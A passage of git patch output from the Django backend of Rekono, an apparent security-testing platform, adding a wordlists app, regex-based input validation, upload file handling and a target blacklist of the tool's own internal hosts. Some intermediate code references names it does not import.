Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) # Invalid input data - - @extend_schema(request=ResetPasswordSerializer, responses={200: None}) - @action(detail=False, methods=['PUT']) - def reset_password(self, request: Request) -> Response: - '''Reset user password. - - Args: - request (Request): Received HTTP request - - Returns: - Response: HTTP response - ''' - serializer = ResetPasswordSerializer(data=request.data) - if serializer.is_valid(): # Check input data - serializer.save() # Reset password - return Response(status=status.HTTP_200_OK) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) # Invalid input data diff --git a/src/backend/executions/migrations/__init__.py b/src/backend/wordlists/__init__.py similarity index 100% rename from src/backend/executions/migrations/__init__.py rename to src/backend/wordlists/__init__.py diff --git a/src/backend/wordlists/admin.py b/src/backend/wordlists/admin.py new file mode 100644 index 000000000..973b74a2c --- /dev/null +++ b/src/backend/wordlists/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from wordlists.models import Wordlist + +# Register your models here. + +admin.site.register(Wordlist) \ No newline at end of file diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py new file mode 100644 index 000000000..41f14f044 --- /dev/null +++ b/src/backend/wordlists/apps.py @@ -0,0 +1,41 @@ +import os +from pathlib import Path +from typing import Any + +from django.apps import AppConfig +from django.core import management +from django.core.management.commands import loaddata +from django.db.models.signals import post_migrate + + +class WordlistsConfig(AppConfig): + name = "wordlists" + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Configure fixtures to be loaded after migration + post_migrate.connect(self.load_resources_model, sender=self) + post_migrate.connect(self.update_default_wordlists_size, sender=self) + + def load_resources_model(self, **kwargs: Any) -> None: + """Load input types fixtures in database.""" + from wordlists.models import Wordlist + + if Wordlist.objects.exists(): # Check if default data is loaded + return + path = os.path.join(Path(__file__).resolve().parent, "fixtures") + management.call_command( + loaddata.Command(), + os.path.join(path, "1_wordlists.json"), # Input type entities + ) + self.update_default_wordlists_size() + + def update_default_wordlists_size(self, **kwargs: Any) -> None: + """Update default wordlists size.""" + from wordlists.models import Wordlist + + for wordlist in Wordlist.objects.all(): # For each default wordlist + if os.path.isfile(wordlist.path) and os.access(wordlist.path, os.R_OK): + with open(wordlist.path, "rb+") as wordlist_file: # Open uploaded file + wordlist.size = len(wordlist_file.readlines()) + wordlist.save(update_fields=["size"]) diff --git a/src/backend/resources/enums.py b/src/backend/wordlists/enums.py similarity index 100% rename from src/backend/resources/enums.py rename to src/backend/wordlists/enums.py diff --git a/src/backend/wordlists/filters.py b/src/backend/wordlists/filters.py new file mode 100644 index 000000000..a3d8c1a2a --- /dev/null +++ b/src/backend/wordlists/filters.py @@ -0,0 +1,17 @@ +# from likes.filters import LikeFilter +from django_filters.rest_framework import FilterSet +from wordlists.models import Wordlist + + +class WordlistFilter(FilterSet): + """FilterSet to filter and sort Wordlist entities.""" + + class Meta: + model = Wordlist + fields = { # Filter fields + "name": ["exact", "icontains"], + "type": ["exact"], + # 'creator': ['exact'], + # 'creator__username': ['exact', 'icontains'], + "size": ["gte", "lte", "exact"], + } diff --git a/src/backend/resources/fixtures/1_wordlists.json b/src/backend/wordlists/fixtures/1_wordlists.json similarity index 100% rename from src/backend/resources/fixtures/1_wordlists.json rename to src/backend/wordlists/fixtures/1_wordlists.json diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py new file mode 100644 index 000000000..d1cc3aa06 --- /dev/null +++ b/src/backend/wordlists/models.py @@ -0,0 +1,66 @@ +import os +from typing import Any, Dict + +from django.db import models +from framework.models import BaseInput +from framework.enums import InputKeyword + +# from likes.models import LikeBase +from security.file_upload import check_checksum +from security.input_validation import validate_name + +from wordlists.enums import WordlistType + +# Create your models here. + + +class Wordlist(BaseInput): + name = models.TextField(max_length=100, unique=True, validators=[validate_name]) + type = models.TextField(max_length=10, choices=WordlistType.choices) + path = models.TextField(max_length=200, unique=True) + checksum = models.TextField(max_length=128, blank=True, null=True) + # Number of entries in the wordlist file + size = models.IntegerField(blank=True, null=True) + # User that created the wordlist + # creator = models.ForeignKey( + # settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True + # ) + + filters = [BaseInput.Filter(type=WordlistType, field="type")] + + def filter(self, input: Any) -> bool: + """Check if this instance is valid based on input filter. + + Args: + input (Any): Tool input whose filter will be applied + + Returns: + bool: Indicate if this instance match the input filter or not + """ + check = os.path.isfile(self.path) # Check if wordlist file exists + if check and self.checksum: # If checksum exists + check = check and check_checksum( + self.path, self.checksum + ) # Check wordlist file hash + if input.filter: # If input filter is established + return super().filter(input) and check + return check + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + """Get useful information from this instance to be used in tool execution as argument. + + Args: + accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. + + Returns: + Dict[str, Any]: Useful information for tool executions, including accumulated if setted + """ + return {InputKeyword.WORDLIST.name.lower(): self.path} + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + return self.name diff --git a/src/backend/wordlists/serializers.py b/src/backend/wordlists/serializers.py new file mode 100644 index 000000000..49ebea6ce --- /dev/null +++ b/src/backend/wordlists/serializers.py @@ -0,0 +1,92 @@ +import os +import uuid +from typing import Any, Dict + +# from likes.serializers import LikeBaseSerializer +from wordlists.models import Wordlist +from rest_framework import serializers +from security import file_upload + +# from users.serializers import SimplyUserSerializer + +from rekono.settings import CONFIG + + +class WordlistSerializer(serializers.ModelSerializer, LikeBaseSerializer): + """Serializer to manage wordlists via API.""" + + # Wordlist file, to allow the wordlist files upload to the server + file = serializers.FileField(required=True, allow_empty_file=False, write_only=True) + # creator = SimplyUserSerializer(many=False, read_only=True) # Creator details for read operations + + class Meta: + model = Wordlist + # Wordlist fields exposed via API + fields = ( + "id", + "name", + "type", + "path", + "file", + "checksum", + "size", + # "creator", + # "liked", + # "likes", + ) + # read_only_fields = ("creator",) # Read only field + # Parameters used in write operations, but they will be generated automatically from uploaded file + extra_kwargs = { + "path": {"write_only": True, "required": False}, + "checksum": {"write_only": True, "required": False}, + } + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + """Validate the provided data before use it. + + Args: + attrs (Dict[str, Any]): Provided data + + Raises: + ValidationError: Raised if provided data is invalid + + Returns: + Dict[str, Any]: Data after validation process + """ + attrs = super().validate(attrs) # Original data validation + file_upload.validate( + attrs["file"], ["txt", "text", ""], ["text/plain"] + ) # Validate the uploaded file type + return attrs + + def save(self, **kwargs: Any) -> Wordlist: + """Save changes in instance. + + Returns: + Wordlist: Instance after apply changes + """ + # Generate filename + self.validated_data["path"] = os.path.join( + CONFIG.wordlists, f"{str(uuid.uuid4())}.txt" + ) + # Store uploaded file in server + self.validated_data["checksum"] = file_upload.store_file( + self.validated_data.pop("file"), self.validated_data["path"] + ) + with open( + self.validated_data["path"], "rb+" + ) as wordlist_file: # Open uploaded file + self.validated_data["size"] = len( + wordlist_file.readlines() + ) # Count entries from uploaded file + return super().save(**kwargs) + + +class UpdateWordlistSerializer(serializers.ModelSerializer): + """Serializer to update wordlists via API.""" + + class Meta: + """Serializer metadata.""" + + model = Wordlist + fields = ("id", "name", "type") # Wordlist fields exposed via API diff --git a/src/backend/resources/urls.py b/src/backend/wordlists/urls.py similarity index 100% rename from src/backend/resources/urls.py rename to src/backend/wordlists/urls.py diff --git a/src/backend/wordlists/views.py b/src/backend/wordlists/views.py new file mode 100644 index 000000000..0111e6195 --- /dev/null +++ b/src/backend/wordlists/views.py @@ -0,0 +1,41 @@ +# from api.views import CreateWithUserViewSet +# from likes.views import LikeManagementView +# from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated +from framework.views import BaseViewSet + +# from security.authorization.permissions import WordlistCreatorPermission + +from wordlists.filters import WordlistFilter +from wordlists.models import Wordlist +from wordlists.serializers import UpdateWordlistSerializer, WordlistSerializer + + +# Create your views here. + + +class WordlistViewSet(BaseViewSet): + """Wordlist ViewSet that includes: get, retrieve, create, update, delete, like and dislike features.""" + + queryset = Wordlist.objects.all() + serializer_class = WordlistSerializer + filterset_class = WordlistFilter + search_fields = ["name"] # Fields used to search projects + ordering_fields = ["id", "name", "type"] # , 'creator', 'likes_count' + # Required to include the WordlistCreatorPermission and remove unneeded ProjectMemberPermission + # permission_classes = [ + # IsAuthenticated, + # DjangoModelPermissions, + # WordlistCreatorPermission, + # ] + # user_field = "creator" + + def get_serializer_class(self) -> Serializer: + """Get serializer class to use in each request. + + Returns: + Serializer: Properly serializer to use, + """ + if self.request.method == "PUT": # If PUT request method + # Use specific serializer for wordlist update + return UpdateWordlistSerializer + return super().get_serializer_class() # Otherwise, standard serializer From 2d6714eb4e9dfbbc611a984e02cbac83582eaaad Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 16 Aug 2023 20:13:08 +0200 Subject: [PATCH 009/141] Improve input validation, add target blacklist configuration, and add path field to target ports --- src/backend/authentications/models.py | 13 +- src/backend/authentications/serializers.py | 7 +- src/backend/framework/fields.py | 80 +++++- src/backend/framework/models.py | 2 + src/backend/input_types/enums.py | 2 +- .../input_types/fixtures/1_input_types.json | 2 +- src/backend/parameters/models.py | 15 +- src/backend/parameters/serializers.py | 3 - src/backend/projects/models.py | 12 +- src/backend/rekono/config.py | 32 +-- src/backend/rekono/properties.py | 20 ++ src/backend/rekono/settings.py | 24 +- src/backend/rekono/urls.py | 3 +- src/backend/requirements.txt | 4 +- src/backend/security/file_handler.py | 78 ++++++ src/backend/security/file_upload.py | 70 ----- src/backend/security/input_validation.py | 252 +++++++----------- src/backend/settings/__init__.py | 0 src/backend/settings/admin.py | 6 + src/backend/settings/apps.py | 29 ++ src/backend/settings/fixtures/1_default.json | 10 + src/backend/settings/models.py | 25 ++ src/backend/settings/serializers.py | 39 +++ src/backend/settings/urls.py | 9 + src/backend/settings/views.py | 17 ++ src/backend/target_ports/filters.py | 1 + src/backend/target_ports/models.py | 17 +- src/backend/target_ports/serializers.py | 1 + src/backend/target_ports/views.py | 4 +- src/backend/targets/models.py | 31 +-- src/backend/targets/serializers.py | 3 - src/backend/wordlists/apps.py | 4 +- .../wordlists/fixtures/1_wordlists.json | 140 ++++------ src/backend/wordlists/models.py | 17 +- src/backend/wordlists/serializers.py | 37 +-- src/backend/wordlists/urls.py | 4 +- src/backend/wordlists/views.py | 6 +- 37 files changed, 577 insertions(+), 442 deletions(-) create mode 100644 src/backend/security/file_handler.py delete mode 100644 src/backend/security/file_upload.py create mode 100644 src/backend/settings/__init__.py create mode 100644 src/backend/settings/admin.py create mode 100644 src/backend/settings/apps.py create mode 100644 src/backend/settings/fixtures/1_default.json create mode 100644 src/backend/settings/models.py create mode 100644 src/backend/settings/serializers.py create mode 100644 src/backend/settings/urls.py create mode 100644 src/backend/settings/views.py diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index ae7d1c720..076ab571f 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -6,7 +6,7 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validation import validate_secret, validate_name +from security.input_validation import Regex, Validator from target_ports.models import TargetPort # Create your models here. @@ -15,12 +15,17 @@ class Authentication(BaseInput): """Authentication model.""" - # Related target port target_port = models.OneToOneField( TargetPort, related_name="authentication", on_delete=models.CASCADE ) - name = models.TextField(max_length=100, validators=[validate_name]) - secret = models.TextField(max_length=500, validators=[validate_secret]) + name = models.TextField( + max_length=100, + validators=[Validator(Regex.NAME.value, code="name")], + ) + secret = models.TextField( + max_length=500, + validators=[Validator(Regex.SECRET.value, code="secret")], + ) type = models.TextField(max_length=8, choices=AuthenticationType.choices) filters = [BaseInput.Filter(type=AuthenticationType, field="type")] diff --git a/src/backend/authentications/serializers.py b/src/backend/authentications/serializers.py index b01a0a0f3..f6c9fd781 100644 --- a/src/backend/authentications/serializers.py +++ b/src/backend/authentications/serializers.py @@ -3,12 +3,17 @@ from authentications.models import Authentication from framework.fields import ProtectedSecretField from rest_framework.serializers import ModelSerializer +from security.input_validation import Regex, Validator class AuthenticationSerializer(ModelSerializer): """Serializer to manage authentications via API.""" - secret = ProtectedSecretField(required=True, allow_null=False) + secret = ProtectedSecretField( + Validator(Regex.SECRET.value, code="secret").__call__, + required=True, + allow_null=False, + ) class Meta: """Serializer metadata.""" diff --git a/src/backend/framework/fields.py b/src/backend/framework/fields.py index db132afa3..0b1d18056 100644 --- a/src/backend/framework/fields.py +++ b/src/backend/framework/fields.py @@ -1,8 +1,8 @@ -from django.forms import ValidationError +from typing import List + from drf_spectacular.types import OpenApiTypes from drf_spectacular.utils import extend_schema_field from rest_framework.serializers import Field -from security.input_validation import validate_secret from taggit.serializers import TagListSerializerField @@ -17,6 +17,34 @@ class TagField(TagListSerializerField): class ProtectedSecretField(Field): """Serializer field to manage protected system values.""" + def __init__( + self, + validator: callable = None, + read_only=False, + write_only=False, + required=None, + source=None, + label=None, + help_text=None, + style=None, + error_messages=None, + validators=None, + allow_null=False, + ): + self.validator = validator + super().__init__( + read_only=read_only, + write_only=write_only, + required=required, + source=source, + label=label, + help_text=help_text, + style=style, + error_messages=error_messages, + validators=validators, + allow_null=allow_null, + ) + def to_representation(self, value: str) -> str: """Return text value to send to the client. @@ -37,6 +65,48 @@ def to_internal_value(self, value: str) -> str: Returns: str: Text value to be stored. Save value than the provided one. """ - if validate_secret(value): - return value - raise ValidationError(["Value contains unallowed characters"]) + if self.validator: + self.validator(value) + return value + + +@extend_schema_field({"type": "array", "items": {"type": "string"}}) +class StringAsListField(Field): + def __init__( + self, + validator: callable = None, + separator: str = ",", + read_only=False, + write_only=False, + required=None, + source=None, + label=None, + help_text=None, + style=None, + error_messages=None, + validators=None, + allow_null=False, + ): + self.validator = validator + self.separator = separator + super().__init__( + read_only=read_only, + write_only=write_only, + required=required, + source=source, + label=label, + help_text=help_text, + style=style, + error_messages=error_messages, + validators=validators, + allow_null=allow_null, + ) + + def to_representation(self, value: str) -> List[str]: + return (value or "").split(self.separator) + + def to_internal_value(self, value: List[str]) -> str: + if self.validator: + for item in value: + self.validator(item) + return self.separator.join(value) diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index f93462b1c..abb30bf01 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -47,6 +47,8 @@ def _get_url( Optional[str]: [description] """ urllib3.disable_warnings(category=urllib3.exceptions.InsecureRequestWarning) + if endpoint.startswith("/"): + endpoint = endpoint[1:] schema = "{protocol}://{host}/{endpoint}" if port: schema = "{protocol}://{host}:{port}/{endpoint}" # Include port schema if port exists diff --git a/src/backend/input_types/enums.py b/src/backend/input_types/enums.py index f2b45243c..4c881b57e 100644 --- a/src/backend/input_types/enums.py +++ b/src/backend/input_types/enums.py @@ -2,7 +2,7 @@ class InputTypeName(models.TextChoices): - """Input type names, related to findings and resources.""" + """Input type names, related to findings and wordlists.""" OSINT = "OSINT" HOST = "Host" diff --git a/src/backend/input_types/fixtures/1_input_types.json b/src/backend/input_types/fixtures/1_input_types.json index 9ffba7440..7923f81dc 100644 --- a/src/backend/input_types/fixtures/1_input_types.json +++ b/src/backend/input_types/fixtures/1_input_types.json @@ -85,7 +85,7 @@ "fields": { "name": "Wordlist", "model": null, - "callback_model": "resources.wordlist", + "callback_model": "wordlists.wordlist", "relationships": true } }, diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 19686bd79..9d7e1e002 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -4,7 +4,7 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validation import validate_cve, validate_name +from security.input_validation import Regex, Validator from targets.models import Target # Create your models here. @@ -16,9 +16,14 @@ class InputTechnology(BaseInput): target = models.ForeignKey( Target, related_name="input_technologies", on_delete=models.CASCADE ) - name = models.TextField(max_length=100, validators=[validate_name]) + name = models.TextField( + max_length=100, validators=[Validator(Regex.NAME.value, code="name")] + ) version = models.TextField( - max_length=100, validators=[validate_name], blank=True, null=True + max_length=100, + validators=[Validator(Regex.NAME.value, code="version")], + blank=True, + null=True, ) filters = [BaseInput.Filter(type=str, field="name", contains=True)] @@ -65,7 +70,9 @@ class InputVulnerability(BaseInput): target = models.ForeignKey( Target, related_name="input_vulnerabilities", on_delete=models.CASCADE ) - cve = models.TextField(max_length=20, validators=[validate_cve]) + cve = models.TextField( + max_length=20, validators=[Validator(Regex.CVE.value, code="cve")] + ) filters = [ BaseInput.Filter(type=str, field="cve", processor=lambda v: "cve"), diff --git a/src/backend/parameters/serializers.py b/src/backend/parameters/serializers.py index 2c10d0e5a..21fce3f7a 100644 --- a/src/backend/parameters/serializers.py +++ b/src/backend/parameters/serializers.py @@ -1,6 +1,3 @@ -from typing import Any, Dict - -from django.forms import ValidationError from parameters.models import InputTechnology, InputVulnerability from rest_framework.serializers import ModelSerializer diff --git a/src/backend/projects/models.py b/src/backend/projects/models.py index 6b3bd549d..5eddabd5a 100644 --- a/src/backend/projects/models.py +++ b/src/backend/projects/models.py @@ -2,7 +2,7 @@ from django.conf import settings from django.db import models -from security.input_validation import validate_name, validate_text +from security.input_validation import Regex, Validator from taggit.managers import TaggableManager # Create your models here. @@ -11,8 +11,14 @@ class Project(models.Model): """Project model.""" - name = models.TextField(max_length=100, unique=True, validators=[validate_name]) - description = models.TextField(max_length=300, validators=[validate_text]) + name = models.TextField( + max_length=100, + unique=True, + validators=[Validator(Regex.NAME.value, code="name")], + ) + description = models.TextField( + max_length=300, validators=[Validator(Regex.TEXT.value, code="description")] + ) # User that created the project # owner = models.ForeignKey( # settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index d9fedc845..ca5410b0f 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -1,9 +1,10 @@ import os +import sys from pathlib import Path from typing import Any, List, Optional -from rekono.properties import Property -import sys + import yaml +from rekono.properties import Property class RekonoConfig: @@ -19,25 +20,14 @@ def __init__(self) -> None: with open(self.config_file, "r") as file: self._config_properties = yaml.safe_load(file) self.trusted_proxy = self._get_config(Property.TRUSTED_PROXY).lower() == "true" - self.allowed_hosts = self._get_allowed_hosts() + self.allowed_hosts = self._get_list_config(Property.ALLOWED_HOSTS) + self.base_target_blacklist = self._get_list_config(Property.TARGET_BLACKLIST) for property in Property: if not hasattr(self, property.name.lower()) or not getattr( self, property.name.lower() ): setattr(self, property.name.lower(), self._get_config(property)) - def _get_allowed_hosts(self) -> List[str]: - hosts = os.getenv(Property.ALLOWED_HOSTS.value[0]) - if hosts: - if " " in hosts: - allowed_hosts = hosts.split(" ") - elif "," in hosts: - allowed_hosts = hosts.split(",") - else: - allowed_hosts = [hosts] - return allowed_hosts - return self._get_config(Property.ALLOWED_HOSTS) - def _get_config_file(self) -> str: for filename in [ "config.yaml", @@ -65,6 +55,18 @@ def _create_missing_directories(self, directories: List[str]) -> None: if not os.path.isdir(directory): os.mkdir(directory) + def _get_list_config(self, property: Property) -> List[str]: + if property.value[0]: + value = os.getenv(property.value[0]) + if value: + list_value = [] + for separator in [" ", ",", ";"]: + if separator in value: + list_value = value.split(separator) + break + return list_value if list_value else [value] + return self._get_config(property) if property.value[1] else property.value[2] + def _get_config(self, property: Property) -> Any: value = property.value[2] if property.value[1]: diff --git a/src/backend/rekono/properties.py b/src/backend/rekono/properties.py index 576dcd583..497944b90 100644 --- a/src/backend/rekono/properties.py +++ b/src/backend/rekono/properties.py @@ -1,4 +1,5 @@ from enum import Enum + from security.crypto import generate_random_value @@ -12,6 +13,25 @@ class Property(Enum): "security.allowed-hosts", ["localhost", "127.0.0.1", "::1"], ) + TARGET_BLACKLIST = ( + None, + None, + [ + "127.0.0.1", + "localhost", + "frontend", + "backend", + "postgres", + "redis", + "initialize", + "tasks-worker", + "executions-worker", + "findings-worker", + "emails-worker", + "telegram-bot", + "nginx", + ], + ) TRUSTED_PROXY = ("RKN_TRUSTED_PROXY", None, "false") DB_NAME = ("RKN_DB_NAME", "database.name", "rekono") DB_USER = ("RKN_DB_USER", "database.user", "") diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 613891864..3ae965f41 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -52,6 +52,7 @@ "input_types", "parameters", "projects", + "settings", "target_ports", "targets", "wordlists", @@ -98,8 +99,6 @@ # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True -TRUSTED_PROXY = CONFIG.trusted_proxy - ALLOWED_HOSTS = CONFIG.allowed_hosts AUTH_PASSWORD_VALIDATORS = [ @@ -201,7 +200,6 @@ ) # Documentation - SPECTACULAR_SETTINGS = { "TITLE": "Rekono API Rest", "DESCRIPTION": DESCRIPTION, @@ -257,26 +255,6 @@ RQ_QUEUES["findings-queue"]["DEFAULT_TIMEOUT"] = 10800 # 3 hours -################################################################################ -# Tools # -################################################################################ - -TOOLS = { - "cmseek": {"directory": CONFIG.cmseek_dir}, - "log4j-scan": {"directory": CONFIG.log4j_scan_dir}, - "spring4shell-scan": {"directory": CONFIG.spring4shell_scan_dir}, - "gittools": {"directory": CONFIG.gittools_dir}, -} - - -################################################################################ -# Frontend # -################################################################################ - -# Rekono frontend address. It's used to include links in notifications -FRONTEND_URL = CONFIG.frontend_url - - ################################################################################ # Miscellaneous # ################################################################################ diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index f506b9086..e5e1c6885 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -26,8 +26,9 @@ urlpatterns = [ path("admin/", admin.site.urls), path("api/", include("authentications.urls")), - path("api/", include("projects.urls")), path("api/", include("parameters.urls")), + path("api/", include("projects.urls")), + path("api/", include("settings.urls")), path("api/", include("target_ports.urls")), path("api/", include("targets.urls")), path("api/", include("wordlists.urls")), diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index 8241043c1..a9456d97d 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,11 +1,11 @@ defusedxml==0.7.1 -Django==4.2.3 +Django==4.2.4 djangorestframework==3.14.0 djangorestframework-simplejwt==5.2.2 django-filter==23.2 django-rq==2.8.1 django-taggit==4.0.0 -drf-spectacular==0.26.3 +drf-spectacular==0.26.4 pycryptodome==3.18.0 psycopg2-binary==2.9.6 pyjwt==2.7.0 diff --git a/src/backend/security/file_handler.py b/src/backend/security/file_handler.py new file mode 100644 index 000000000..74e23ebb8 --- /dev/null +++ b/src/backend/security/file_handler.py @@ -0,0 +1,78 @@ +import hashlib +import logging +import os +import uuid +from pathlib import Path +from typing import Any, List, Tuple + +import magic +from django.core.exceptions import ValidationError +from rekono.settings import CONFIG + +logger = logging.getLogger() # Rekono logger + + +class FileHandler: + def __init__( + self, + extensions: List[str] = ["txt", "text", ""], + mime_types: List[str] = ["text/plain"], + ) -> None: + self.allowed_extensions = extensions + self.allowed_mime_types = mime_types + + def _validate_size(self, in_memory_file: Any) -> None: + max_mb_size = 100 + size = in_memory_file.size / (1024 * 1024) # Get file size in MB + if size > max_mb_size: # File size greater than size limit + logger.warning( + f"[Security] Attempt of upload too large file with {size} MB" + ) + raise ValidationError( + f"File size is greater than the max size allowed ({max_mb_size} MB)", + code="file", + params={"value": size}, + ) + + def _validate_extension(self, in_memory_file: Any) -> None: + extension = Path(in_memory_file.name).suffix[1:].lower() # Get file extension + if extension not in self.allowed_extensions: + logger.warning( + f"[Security] Attempt of upload file with invalid extension: {extension}" + ) + raise ValidationError( + f"Invalid extension", code="file", params={"value": extension} + ) + + def _validate_mime_type(self, in_memory_file: Any) -> None: + mime_type = magic.from_buffer(in_memory_file.read(1024), mime=True) + if mime_type not in self.allowed_mime_types: + logger.warning( + f"[Security] Attempt of upload file with invalid MIME type: {mime_type}" + ) + raise ValidationError( + f"Invalid MIME type", code="file", params={"value": mime_type} + ) + + def validate_file(self, in_memory_file: Any) -> None: + self._validate_size(in_memory_file) + self._validate_extension(in_memory_file) + self._validate_mime_type(in_memory_file) + + def validate_filepath_checksum(self, filepath: str, expected_checksum: str) -> bool: + with open(filepath, "rb+") as file: + checksum = hashlib.sha512(file.read()).hexdigest() + return checksum == expected_checksum + + def store_file(self, in_memory_file: Any) -> Tuple[str, str, int]: + path = os.path.join(CONFIG.wordlists, f"{str(uuid.uuid4())}.txt") + checksum = hashlib.sha512() + with open(path, "wb+") as stored_file: + for chunk in in_memory_file.chunks(): + stored_file.write(chunk) + checksum.update(chunk) + lines = 0 + with open(path, "rb+") as stored_file: + lines = len(stored_file.readlines()) + logger.warning(f"[Security] New file uploaded to the server in the path {path}") + return path, checksum, lines diff --git a/src/backend/security/file_upload.py b/src/backend/security/file_upload.py deleted file mode 100644 index a8c53cdd6..000000000 --- a/src/backend/security/file_upload.py +++ /dev/null @@ -1,70 +0,0 @@ -import hashlib -import logging -from pathlib import Path -from typing import Any, List - -import magic -from django.core.exceptions import ValidationError -from system.models import System - -logger = logging.getLogger() # Rekono logger - - -def validate(in_memory_file: Any, extensions: List[str], mime_types: List[str]) -> None: - '''Validate in memory file based on size, extension and MIME type. - - Args: - in_memory_file (Any): In memory file to validate - extensions (List[str]): Allowed extensions - mime_types (List[str]): Allowed MIME types - - Raises: - ValidationError: Raised if file size, extension or MIME type is invalid - ''' - max_size = System.objects.first().upload_files_max_mb # Max allowed file size - size = in_memory_file.size / (1024 * 1024) # Get file size in MB - if size > max_size: # File size greater than size limit - logger.warning(f'[Security] Attempt of upload too large file with {size} MB') - raise ValidationError({'file': f'File size is greater than the max size allowed ({max_size} MB)'}) - extension = Path(in_memory_file.name).suffix[1:].lower() # Get file extension - if extension not in extensions: # Invalid file extension - logger.warning(f'[Security] Attempt of upload file with invalid {extension} extension') - raise ValidationError({'file': f'Invalid extension {extension}'}) - mime_type = magic.from_buffer(in_memory_file.read(1024), mime=True) # Get MIME type from file content - if mime_type not in mime_types: # Invalid file MIME type - logger.warning(f'[Security] Attempt of upload file with invalid {mime_type} MIME type') - raise ValidationError({'file': f'Invalid MIME type {mime_type}'}) - - -def check_checksum(filepath: str, expected: str) -> bool: - '''Check if file checksum is equals to expected checksum or not. - - Args: - filepath (str): File to check - expected (str): Expected checksum - - Returns: - bool: Indicate if file checksum matches the expected checksum - ''' - with open(filepath, 'rb+') as file: - value = hashlib.sha512(file.read()).hexdigest() # Calculate file hash using SHA-512 - return value == expected - - -def store_file(in_memory_file: Any, filepath: str) -> str: - '''Store in memory file in a specific filepath. - - Args: - in_memory_file (Any): In memory file to store - filepath (str): Filepath where the in memory file will be stored - - Returns: - str: Checksum of the stored file using SHA-512 algorithm - ''' - checksum = hashlib.sha512() - with open(filepath, 'wb+') as storage: # Open filepath in write mode - for chunk in in_memory_file.chunks(): - storage.write(chunk) # Write file content - checksum.update(chunk) # Calculate hash value - logger.warning(f'[Security] New file uploaded to the server in the path {filepath}') - return checksum.hexdigest() diff --git a/src/backend/security/input_validation.py b/src/backend/security/input_validation.py index 103c204b9..6fccffcbb 100644 --- a/src/backend/security/input_validation.py +++ b/src/backend/security/input_validation.py @@ -1,160 +1,102 @@ +import ipaddress import logging import re -from urllib.parse import urlparse +from enum import Enum +from re import RegexFlag +from typing import Any +from django.core.validators import RegexValidator from django.forms import ValidationError - -logger = logging.getLogger() # Rekono logger - -IP_RANGE_REGEX = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}" # Regex for IP ranges like 10.10.10.1-20 -NAME_REGEX = r"[\wÀ-ÿ\s\.\-\[\]()@]{0,120}" # Regex for names validation -TEXT_REGEX = r'[\wÀ-ÿ\s\.:,+\-\'"?¿¡!#%$€\[\]()]{0,300}' # Regex for text validation -PATH_REGEX = r"[\w\./#?&%$\\]{0,500}" # Regex for path validation -CVE_REGEX = r"CVE-\d{4}-\d{1,7}" # Regex for CVE validation -DD_KEY_REGEX = r"[\da-z]{40}" # Regex for Defect-Dojo key validation -TELEGRAM_TOKEN_REGEX = r"\d{10}:[\w\-]{35}" # Regex for Telegram token validation -SECRET_REGEX = ( - r"[\w\./\-=\+,:<>¿?¡!#&$()@%\[\]\{\}\*]{1,500}" # Regex for credentials validation -) - - -def validate_text_value(value: str, regex: str) -> None: - """Validate if text value match the allowed regex. - - Args: - value (str): Text value to be validated - regex (str): Regex that the value should match - - Raises: - ValidationError: Raised if value doesn't match the allowed regex - """ - if not bool(re.fullmatch(regex, value)): - logger.warning( - f"[Security] Invalid text value that doesn't match the regex {regex}" +from framework.fields import StringAsListField +from rekono.settings import CONFIG +from settings.models import Settings + +logger = logging.getLogger() + + +class Regex(Enum): + IP_RANGE = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}" + NAME = r"[\wÀ-ÿ\s\.\-\[\]()@]{0,120}" + TEXT = r'[\wÀ-ÿ\s\.:,+\-\'"?¿¡!#%$€\[\]()]{0,300}' + TARGET = r"[\w\d\.:\-/]{1,100}" + TARGET_REGEX = r"[\w\d\.:\-/\.\*\?\+\(\)\\]{1,100}" + PATH = r"[\w\.\-_/\\]{0,500}" + PATH_WITH_QUERYPARAMS = r"[\w\.\-_/\\#?&%$]{0,500}" + CVE = r"CVE-\d{4}-\d{1,7}" + SECRET = r"[\w\./\-=\+,:<>¿?¡!#&$()@%\[\]\{\}\*]{1,500}" + + +class Validator(RegexValidator): + def __init__( + self, + regex: Any | None = ..., + message: Any | None = ..., + code: str | None = ..., + inverse_match: bool | None = ..., + flags: RegexFlag | None = ..., + ) -> None: + message = "Provided value contains disallowed characters" + flags = None # Needed to prevent TypeError + super().__init__(regex, message, code, inverse_match, flags) + + def __call__(self, value: str | None) -> None: + regex_matches = re.fullmatch(self.regex, value) + invalid_input = ( + not bool(regex_matches) if self.inverse_match else 